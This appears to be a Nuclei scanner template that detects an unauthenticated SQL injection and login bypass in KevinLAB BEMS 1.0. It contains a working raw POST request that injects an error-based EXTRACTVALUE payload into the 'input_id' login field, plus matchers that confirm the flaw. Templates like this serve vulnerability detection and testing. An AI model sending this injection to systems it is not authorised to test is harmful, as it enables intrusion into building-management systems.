id: kevinlab-bems-sqli info: name: KevinLAB BEMS 1.0 Unauthenticated SQL Injection/Authentication Bypass author: gy741 severity: high description: The application suffers from an unauthenticated SQL Injection vulnerability. Input passed through 'input_id' POST parameter in '/http/index.php' is not properly sanitised before being returned to the user or used in SQL queries. reference: - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php - https://www.exploit-db.com/exploits/50146 - https://packetstormsecurity.com/files/163572/ tags: kevinlab,sqli requests: - raw: - | POST /http/index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate requester=login&request=login¶ms=[{"name":"input_id","value":"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy"},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}] matchers-condition: and matchers: - type: word words: - "XPATH syntax error" - ": '\\ZSL1ZSL'" condition: and - type: status status: - 200